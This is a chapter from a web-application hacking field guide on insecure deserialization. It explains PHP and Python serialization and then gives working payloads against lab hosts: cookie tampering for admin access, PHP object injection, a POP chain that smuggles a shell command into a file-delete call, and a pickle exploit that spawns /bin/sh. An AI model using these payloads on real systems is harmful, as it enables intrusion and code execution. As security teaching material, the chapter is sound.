Web Application Advanced Hacking

A Hands-On Field Guide to latest techniques used by security researchers and bug bounty hunters

Maor Tal

Web Application Advanced Hacking

A Hands-On Field Guide to latest techniques used by security researchers and bug bounty hunters

Maor Tal

Contents

Legal Disclaimer

Author: Maor Tal
Editorial Editing by Mary Lembeth
Book Design by Maor Tal
First Published 5th Junary, 2019

About the Author

Maor Tal is a security researcher with more than seven years' experience in various security and software fields. He works as a penetration tester for major global financial institutions and leading high-tech companies to help them in their cyber security posture. His core areas of expertise include web and mobile penetration testing, vulnerability analysis, and red-team engagements. He holds relevant certificates in the field of penetration testing such as OSCP, eCCPT. He loves to participate in Capture The Flag competitions, bug bounties, security events and share his passion for penetration testing to help security professionals boost their skills and get them to think outside the box.

Chapter 1: Deserialization Attacks

In many programming languages, including Java, PHP, ASP.NET, and Python, it is necessary to represent arrays, lists, dictionaries, and other objects in a serialized data format that can be sent through streams and over a network and restored later. This process is called serialization. The final serialized format may be represented in binary or as structured text. JSON and XML are two commonly used structured text formats used for serialization within web applications. The reverse of the serialization process is called deserialization. Deserialization takes serialized data from a source (a string, stored file, etc.) or network socket and turns it back into an object.

Deserialization attacks, or insecure deserialization, is the exploitation of vulnerabilities within the deserialization process by using untrusted data to abuse the logic of an application, to access control, or even to instigate remote code execution (RCE). In this chapter, we will focus on three different cases of serialization vectors, using PHP and Python object serialization, as they are commonly used languages that are easy to follow.

Deserialization example explained

In this section, I will demonstrate the serialization and deserialization process in PHP to familiarize you with the concept before we move on to the offensive strategy.

Let's start with a simple class in PHP that we would like to serialize so we can deserialize it later:

```
class myClass
{
   public $name = "demo";

   function __construct()
   {
        #...some PHP code...#
   }
}
print serialize(new myClass);
```

Executing this script will serialize the PHP class to the following string:

```
O:7:"myClass":1:{s:4:"name";s:4:"demo";}
```

Similarly, in Python, the same process can be performed with the default pickle serialization class, as demonstrated below:

```
import pickle

my_data = {}
my_data['friends'] = ["Alice", "Bob"]
pickle_data = pickle.dumps(my_data)

print(pickle_data)
```

The output will be an encoded string value:

```
b'\x80\x03}q\x00X\x07\x00\x00\x00friendsq\x01]q\x02(X\x05\x00\x00\x00al\
iceq\x03X\x03\x00\x00\x00bobq\x04es.'
```

Using the serialized string, we can store or transfer an array, object, or other complex data structure as a string representation. By using unserialize, we are able to reverse the process and instantly access the array or object items.

Insecure deserialization

Insecure deserialization refers to a deserialization process in which the serialized string is converted back to its original object in memory by using untrusted user inputs. With insufficient input validation, this can lead to logic manipulation or arbitrary code execution.

Some common attack vectors in web applications that use serialization include:

1. Abusing an application's logic operation that relies on serialized objects (i.e., purchase action)
2. Accepting user-supplied serialized objects in the cookies to identify a user
3. Using serialized objects as API authentication tokens
4. Transferring user data via Streams, WebSockets or WebRTC channels
5. Executing serialized objects as inputs to execute commands in the file system

Many programming languages provide APIs and capabilities to perform native serialization and deserialization processes—but most of them include inherently unsafe operations, which could easily result in code execution depending on their application logic context.

For example, let's assume our application uses PHP object serialization to determine user application privileges:

```
GET /login.php HTTP/1.0
Host: vuln.lab
Cookie: data=a:2:{s:8:"username";s:4:"user";s:4:"guid"s:32:"b6a8b…bc960";}
Connection: close
```

And that the PHP server-side logic is as follows:

```
$a = unserialize($_COOKIES[‘data’]);
if(isset($a['username']) && $a['username']  === 'administrator'){
   echo "Access Granted!";
}else{
    echo "NO PERMISSIONS GRANTED.";
}
```

In this situation, an attacker could give itself administrator privileges by changing the cookie from

```
a:2:{s:8:"username";s:4:"user";s:4:"guid";s:32:"b6a8b3bea87fe0e05022f8f\
3c88bc960";}
```

to the following serialized object:

```
a:2:{s:8:"username";s:13:"administrator";s:4:"guid";s:32:"b6a8b3bea87fe\
0e05022f8f3c88bc960";}
```

PHP Object Injection

Two factors are required to successfully carry out attacks on PHP Object Injection vulnerabilities:

1. There must be an insecure implementation of the unserialize() method based on client input (i.e., cookies, stored serialized data, or serialized request parameters)
2. There must be a PHP magic method (e.g., __wakeup or __destruct) within the class that is vulnerable to being exploited to create our malicious payload or “POP Chain” (we’ll discuss this topic later)

In PHP, methods that begin with two underscores (__) are called “magic methods.” These magic methods play an important role in the application’s lifecycle, as they can be invoked during specific events.

There are 15 different magic methods:
__construct() __set() __toString()
__destruct() __isset() __invoke()
__call() __unset() __set_state()
__callStatic() __sleep() __clone()
__get() __wakeup() __debugInfo()

In PHP Object Injection attacks, we use magic methods to reconstruct our payload. Some magic methods are commonly used in serialization. For example:

1. __sleep is called when an object is serialized and must be returned to an array.
2. __wakeup is called when an object is deserialized.
3. __destruct is called when a PHP script ends and the object is destroyed.
4. __toString is called to convert an object into a string.

PHP Object Injection with magic method

Let's look at an example where the user inputs proceed as a command using the __wakeup magic method. Consider the following vulnerable PHP code:

```
class InsecureClass
{
   private $hook;
   private $log;

   public function __construct($log = "")
   {
      $this->log = $log;
   }

   public function __wakeup()
   {
     if (isset($this->hook)) eval($this->hook);
   }

   public function updateRecord(){
```

```
        #...some database functionality...#
    }
}

$user_data = unserialize($_GET['data']);
```

In this class, we see the implementation of a PHP magic method, __wakeup. The script also declares a vulnerable unserialize() function. When both conditions are met, it can result in arbitrary PHP object(s) injection into the current application scope.

To create our payload, we can execute the following script:

```
class InsecureClass
{
    private $hook = "phpinfo();";
}

print urlencode(serialize(new InsecureClass));
```

Which results in:

```
O:13:"InsecureClass":1:{s:19:"InsecureClasshook";s:10:"phpinfo();";}
```

After URL encoding, our final payload will appear as:

```
O%3A13%3A%22InsecureClass%22%3A1%3A%7Bs%3A19%3A%22%00InsecureClass%00ho\
ok%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
```

Now we can append our payload as a data query string value:

```
GET /auth_check.php?data=O%3A13%3A%22InsecureClas... HTTP/1.0
Host: vuln.lab
Connection: close
```

As a result, the script will evaluate our payload command and return the phpinfo() output. One important thing to keep in mind in PHP serialization is that the method is not serialized and will not be saved; only the name of the class and its properties are serialized. Please notice, the payload has been shortened for readability.

Property oriented programming

The Property Oriented Programming (POP) technique can be used to create so-called POP chains that allow control over all the properties of a deserialized object. In POP chains, magic methods are used as the initial "gadget"—a snippet of code borrowed from the codebase—and these gadgets can then be chained together to achieve our goal (i.e., code execution).
As a basic example, let's assume we've found vulnerable code that implements the __destruct() magic method in our library as follows:

```
class LoggerIO extends IO
{
   private $filename = "log.txt";

        #...some PHP code...#

   public function __destruct(){
           $this->removeFile($this->fn);
   }

   public function removeFile($fn){
         $this->destroy($fn);
   }
}

        #...some PHP code...#

$user_data = unserialize($_GET['data']);
```

What this block of code does is define a class named LoggerIO—which inherits from a parent class IO—and implements the magic method __destruct(). This calls the removeFile() method internally. In addition, it sets the filename property to a predefined string "log.txt." To better understand the vulnerability impact of the removeFile() method, let's inspect class IO:

```
class IO {

        #...some PHP code...#

        public function destroy($fn){
                system("rm ".$fn);
        }

}
```

Until now, our initial gadget is the __destruct() magic method, which calls the removeFile() method. The removeFile() method then becomes our new gadget. Inspecting the destroy() method reveals its susceptibility to classic remote code execution (RCE) vulnerabilities.

To exploit this vulnerability, we need to change the value of the LoggerIO class property to a string such as "log.txt | touch hack.txt," which will then allow us to execute a command using the destroy() method within the IO class.

To create our final POP chain, we can use the following script:

```
class LoggerIO
{

   public $fn = "dummy.txt | touch hack.txt";

}

print urlencode(serialize(new LoggerIO));
```

Which will result in our final payload being submitted to the following serialized string:

```
O:8:"LoggerIO":1:{s:2:"fn";s:26:"dummy.txt | touch hack.txt";}
```

In the next example, the declared magic methods in the classes do not contain any useful code in terms of exploitation. However, it still possible to create POP chains in such cases. Consider the following classes:

```
class LoadObjectInternal
{
   protected $obj;

   function __construct()
   {
      #...some PHP code...#
   }

   function __wakeup()
   {
      if (isset($this->obj)) return $this->obj->run();
   }
}

class CodeLoad
{
   private $code;

   function run()
   {
      eval($this->code);
   }
}

#...some PHP code...#
```

```
$user_data = unserialize($_GET['data']);
```

The first block of code here defines a class named LoadObjectInternal, which calls the eval() method of obj when the __wakeup() function is called. The second block of code describes the CodeLoad class, which has a private property named code that contains the code string to be executed, and a run() method that calls eval() on the given code string.

At first, this seems complicated and not exploitable. But in order to exploit it, all we need to do is overwrite the code propriety to contain our malicious payload and prompt the LoadObjectInternal class to create an instance of the CodeLoad using the __wakeup() method.

Hence, we can use the following script to generate our payload:

```
class CodeLoad
{
   private $code = "phpinfo();";
}

class LoadObjectInternal
{
   protected $obj;

   function __construct()
   {
      $this->obj = new CodeLoad;
   }
}

print urlencode(serialize(new Example));
```

Which will result in our final payload being submitted to the following serialized string:

```
O:18:"LoadObjectInternal":1:{s:6:"*obj";O:8:"CodeLoad":1:{s:14:"CodeLoa\
dcode";s:10:"phpinfo();";}}
```

Tip

If you are interested in finding deserialization vulnerabilities in more complicated frameworks in PHP such as CodeIgniter, Laravel, etc., I highly recommend that you check out the PHPGGC tool from GitHub: https://github.com/ambionics/phpggc

Python pickle serialization

In Python, the serialization and deserialization processes are based on the pickle module, which is a built-in module for serializing and deserializing Python objects. There are four methods that can be used in pickle: dump, dumps, load, and loads.

As the pickle method is not secure against erroneous or maliciously constructed data, it may lead to remote code execution (RCE) vulnerabilities if the un-pickled data is received from an untrusted or unauthenticated source.

The pickle framework method works as follows:

1. Dump— Write a serialized object to an open file
2. Load—Convert a serialized byte stream back to an object
3. Dumps—Return a serialized object as string
4. Loads—Return the deserialization process as string

Tip

For more information about the pickle / cPickle framework, I highly recommend that you refer to the Python documentation here: https://docs.python.org/2/library/pickle.html

Python pickling example explained

In order to successfully exploit the Python pickle module, we need to understand the processes that occur in the background during malicious attacks.
To get us started, let's consider the following Python code, which implements a basic serialize and deserialize flaw:

```
import pickle

' convert given object to pickled object '
def serialization(obj):
    return pickle.dumps(obj)

' convert given serialized object byte stream back to object '
def deserialization(serializedObj):
    return pickle.loads(serializedObj)

objDemo = ["1","random", "Value", 23]

print(serialization(objDemo))

serializedObj = serialization(objDemo)
print(deserialization(serializedObj))
```

This will return the following output:

```
b'\x80\x03]q\x00(X\x01\x00\x00\x001q\x01X\x06\x00\x00\x00randomq\x02X\x\
05\x00\x00\x00Valueq\x03K\x17e.'
['1', 'random', 'Value', 23]
```

In the above code, we create two simple methods that in turn deserialize or serialize a given object using built-in pickling functions. In the first print, we can pass a list object called objDemo to our serialization method, which will return a binary string:

```
b'\x80\x03]q\x00(X\x01\x00\x00\x001q\x01X\x06\x00\x00\x00randomq\x02X\x\
05\x00\x00\x00Valueq\x03K\x17e.'
```

We can save the output as a serialized string named serializedObj. Then, we can pass it to our deserialization method to convert the bytes in the serialized string back to an object, and return it to get the following result:

```
['1', 'random', 'Value', 23]
```

Now that we have a better understanding of how pickle works, in the next section, we'll explore the concept of how to create malicious data that can permit remote code execution (RCE).

Exploiting pickle with reduce

Similarly to PHP magic methods, the Python pickle framework has internal methods that can be executed during the unpickling process, such as _getattr_(), _getattribute_-(), or _setattr_(). These methods may be called upon at certain instances. In addition, the pickle protocol has an extension type method called _reduce_(). If provided during pickling, _reduce_() will be called with no arguments, and must return either a string or tuple.

In order to exploit the vulnerability, we need to prompt pickle to use the reduce method to execute our command. Continuing with the previous pickle example, the following shellcode could be used:

```
import pickle
import os

' convert given object to pickled object '
def serialization(obj):
    return pickle.dumps(obj)

class Exploit(object):

  def __reduce__(self):
```

```
    return (os.system, ('/bin/sh',))

print(serialization(Exploit()))
```

Which would return our payload as a serialized string:

```
b'\x80\x03cposix\nsystem\nq\x00X\x07\x00\x00\x00/bin/shq\x01\x85q\x02Rq\
\x03.'
```

This final serialized payload will give us a shell as the user running the vulnerable code, which can be used to escalate user privileges if the user is not already root.

Tip

It's really easy to create shellcode payloads for vulnerable pickle / cPickle python apps. There are a few quick tricks I use during my CTFs (capture the flags) and customer demos. Check out the following gists on GitHub for some examples: Python's Pickle Remote Code Execution payload template (https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd) and Python cPickle/pickle exploit generator (https://gist.github.com/0xBADCA7/f4c700fcbb5fb8785c14)